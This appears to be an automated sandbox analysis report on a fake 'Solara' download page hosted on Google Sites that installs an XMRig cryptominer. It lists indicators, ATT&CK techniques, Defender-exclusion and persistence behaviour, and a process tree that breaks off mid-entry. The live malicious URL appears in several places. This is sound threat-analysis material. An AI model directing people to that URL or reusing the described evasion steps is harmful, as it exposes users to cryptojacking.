xmrig | hxxps://sites[.]google[.]com/view/solara-official/download

Analysis

max time kernel
300s
max time network
293s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
18-12-2024 19:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://sites.google.com/view/solara-official/download

Score

10^/10

xmrig defense_evasion discovery evasion execution miner persistence upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral1/memory/1264-367-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1264-371-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1264-373-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1264-372-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1264-370-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1264-369-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1264-366-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1264-399-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1264-400-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1312	powershell.exe
100	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	Bootstrapper.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
652	Bootstrapper.exe
384	updater.exe
4740	Bootstrapper.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
110	pastebin.com
111	pastebin.com
129	sites.google.com
2	sites.google.com
4	sites.google.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2028	powercfg.exe
2840	powercfg.exe
2544	powercfg.exe
1232	powercfg.exe
1336	powercfg.exe
1408	powercfg.exe
4676	powercfg.exe
828	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	Bootstrapper.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 384 set thread context of 4160	384	updater.exe	166
PID 384 set thread context of 1264	384	updater.exe	169

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1264-361-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-364-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-363-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-367-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-371-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-373-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-372-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-370-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-369-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-366-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-365-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-362-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-399-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1264-400-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
64	sc.exe
2252	sc.exe
1608	sc.exe
1012	sc.exe
3124	sc.exe
1812	sc.exe
2420	sc.exe
4820	sc.exe
4148	sc.exe
3604	sc.exe
4500	sc.exe
4344	sc.exe
544	sc.exe
1584	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133790248912288003"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000_Classes\Local Settings	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2760	chrome.exe
2760	chrome.exe
2576	powershell.exe
2576	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
2576	powershell.exe
652	Bootstrapper.exe
1312	powershell.exe
1312	powershell.exe
1312	powershell.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
652	Bootstrapper.exe
384	updater.exe
100	powershell.exe
100	powershell.exe
100	powershell.exe
2784	powershell.exe
2784	powershell.exe
4928	powershell.exe
4928	powershell.exe
2784	powershell.exe
4928	powershell.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
384	updater.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe
1264	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe
Token: SeShutdownPrivilege	2760	chrome.exe
Token: SeCreatePagefilePrivilege	2760	chrome.exe

Suspicious use of FindShellTrayWindow 49 IoCs

pid	Process
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe
2760	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1284	Bootstrapper.exe
828	Bootstrapper.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2760 wrote to memory of 2068	2760	chrome.exe	80
PID 2760 wrote to memory of 2068	2760	chrome.exe	80
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4640	2760	chrome.exe	81
PID 2760 wrote to memory of 4984	2760	chrome.exe	82
PID 2760 wrote to memory of 4984	2760	chrome.exe	82
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83
PID 2760 wrote to memory of 3628	2760	chrome.exe	83

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://sites.google.com/view/solara-official/download
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffc3d08cc40,0x7ffc3d08cc4c,0x7ffc3d08cc58
  2⤵
  PID:2068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1996,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=2156 /prefetch:2
  2⤵
  PID:4640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1900,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=1796 /prefetch:3
  2⤵
  PID:4984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2248,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=2276 /prefetch:8
  2⤵
  PID:3628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3112,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3148 /prefetch:1
  2⤵
  PID:3700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3120,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3188 /prefetch:1
  2⤵
  PID:4000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4656,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4344 /prefetch:8
  2⤵
  PID:4072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4800,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4668 /prefetch:1
  2⤵
  PID:3784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4936,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=5008 /prefetch:1
  2⤵
  PID:4020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4964,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=5132 /prefetch:1
  2⤵
  PID:4412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5444,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=5320 /prefetch:8
  2⤵
  PID:4544
- C:\Program Files\Google\Chrome\Application\chrome.exe
